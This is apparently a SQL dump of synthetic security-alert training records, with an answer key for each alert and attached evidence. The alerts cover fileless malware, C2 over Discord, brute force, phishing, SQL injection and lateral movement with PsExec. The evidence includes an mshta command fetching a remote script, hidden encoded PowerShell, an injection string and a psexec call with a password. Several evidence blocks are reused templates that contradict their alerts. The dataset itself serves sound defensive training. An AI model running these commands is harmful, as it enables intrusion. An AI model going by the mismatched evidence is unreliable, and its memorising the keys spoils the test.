'{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(671, 'Suspicious Mshta Execution with Malicious Script', 'critical', 'EDR', 'Mshta was executed with a malicious remote script, indicating a potential fileless malware attack.', 'Malware', 'T1218.005', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T23:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.8.55\",\"dst_ip\":\"192.168.1.15\",\"username\":\"tjohnson\",\"hostname\":\"WORKSTATION-TJ\",\"command_line\":\"mshta http://malicious-site.com/malicious-script.hta\"}', '2026-01-10 20:15:05', '2026-02-16 18:03:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta http://malicious-site.com/malicious-script.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Execution of a remote HTA script, typical of fileless malware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.8.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Mshta execution with external script URL suggests fileless malware activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(672, 'Suspicious Network Connection Detected from Internal to External Host', 'high', 'CrowdStrike', 'A connection attempt was detected from an internal host to a known malicious IP address used for command and control.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.42\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"command_line\":\"powershell.exe -encodedcommand SGVsbG8gd29ybGQ=\",\"domain\":\"malicious-site.com\"}', '2026-01-11 03:07:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-site.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection to a known malicious IP indicates a true positive for malware communication.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(673, 'Multiple Failed Login Attempts Detected from Foreign IP', 'medium', 'Wazuh', 'A foreign IP address has attempted to login into the corporate VPN with multiple failed attempts, indicating a possible brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:00:15Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.199.108.153\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"vpn-server\",\"failed_attempts\":25}', '2026-01-10 22:06:55', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for multiple brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the VPN server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The volume and origin of failed login attempts suggest a brute force attack.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(674, 'APT Command and Control Communication via Discord', 'critical', 'Splunk', 'Detected command and control traffic using Discord\'s infrastructure, commonly used by APT groups for stealthy communications.', 'Data Exfiltration', 'T1105', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:25:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.50.5\",\"dst_ip\":\"162.159.138.233\",\"username\":\"alice\",\"hostname\":\"laptop-23\",\"url\":\"https://discordapp.com/api/v9/channels/1234567890/messages\"}', '2026-01-11 12:40:32', '2026-02-16 18:02:17', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"162.159.138.233\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with Discord C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.50.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://discordapp.com/api/v9/channels/1234567890/messages\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Discord API endpoint used for stealthy data exfiltration\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of Discord for C2 traffic is indicative of advanced threat activity.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(675, 'Phishing Attempt via Spoofed Domain', 'high', 'Proofpoint', 'A phishing email was sent to an employee with a spoofed domain mimicking a legitimate service to steal credentials.', 'Phishing', 'T1566', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.100\",\"dst_ip\":\"192.168.1.20\",\"username\":\"bsmith\",\"hostname\":\"mail-server\",\"email_sender\":\"support@microsfot.com\",\"url\":\"http://fake-login.microsoft.com\"}', '2026-01-10 19:17:54', '2026-02-20 09:08:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@microsfot.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address known for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fake-login.microsoft.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL used for harvesting credentials\"}}],\"expected_actions\":[\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are indicative of a phishing attempt to harvest credentials.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt via Spoofed Domain\",\"date\":\"2026-02-01T20:32:22.325Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(676, 'Detected Fileless Malware Execution', 'critical', 'EDR', 'A fileless malware was executed in memory using PowerShell, evading traditional file-based detection mechanisms.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T12:05:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.100.15\",\"dst_ip\":\"192.168.100.15\",\"username\":\"jsmith\",\"hostname\":\"desktop-12\",\"command_line\":\"powershell.exe -nop -w hidden -enc JABQAGkATwB1AG4ARABjAGUATQBzAGcA\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 11:56:38', '2026-02-16 18:04:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc JABQAGkATwB1AG4ARABjAGUATQBzAGcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command for fileless malware execution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No associated file, possible fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell for in-memory execution indicates advanced evasion tactics.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(677, 'Suspicious DNS Queries to DGA Domain', 'high', 'Firewall', 'Detected multiple DNS queries to a domain generated by a domain generation algorithm (DGA), often used for botnet communications.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:50:00Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.10.25\",\"dst_ip\":\"198.51.100.50\",\"username\":\"tadmin\",\"hostname\":\"office-pc\",\"domain\":\"a1b2c3d4e5f6g7h8.com\"}', '2026-01-09 22:50:34', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"a1b2c3d4e5f6g7h8.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with DGA botnet activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the querying host\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of DGA domains in DNS queries suggests botnet communication.\"}', 'Expert', 'MAL', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(678, 'Web Attack: SQL Injection Attempt Detected', 'high', 'IDS/IPS', 'An attacker attempted an SQL injection attack on the corporate web application, potentially exploiting vulnerabilities to exfiltrate data.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:20:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.100\",\"username\":\"guest\",\"hostname\":\"web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-09 20:58:06', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body indicates a classic SQL injection attempt, warranting investigation.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(679, 'Unauthorized Access Attempt via PSExec', 'critical', 'EDR', 'Detected unauthorized use of PSExec for lateral movement within the network, indicating a potential compromise of administrative credentials.', 'Lateral Movement', 'T1569', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.20.15\",\"dst_ip\":\"192.168.20.20\",\"username\":\"administrator\",\"hostname\":\"server-01\",\"command_line\":\"psexec \\\\\\\\192.168.20.20 -u administrator -p secret cmd.exe\"}', '2026-01-10 04:57:21', '2026-02-16 18:05:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.20.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of unauthorized PSExec execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.20.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP targeted for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.20.20 -u administrator -p secret cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec command used for unauthorized access\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with administrative credentials suggests lateral movement within the network.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(680, 'Innocuous User Activity Mistaken for Attack', 'low', 'SIEM', 'A legitimate user activity was flagged as suspicious due to unusual but authorized access patterns.', 'Credential Attack', 'T1078', 0, 'Closed', 210, '{\"timestamp\":\"2026-01-11T15:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.30.5\",\"dst_ip\":\"192.168.30.10\",\"username\":\"jane.doe\",\"hostname\":\"desktop-01\",\"request_body\":\"\"}', '2026-01-09 22:30:49', '2026-02-26 22:00:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.30.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Management System\",\"verdict\":\"clean\",\"details\":\"Authorized user with legitimate 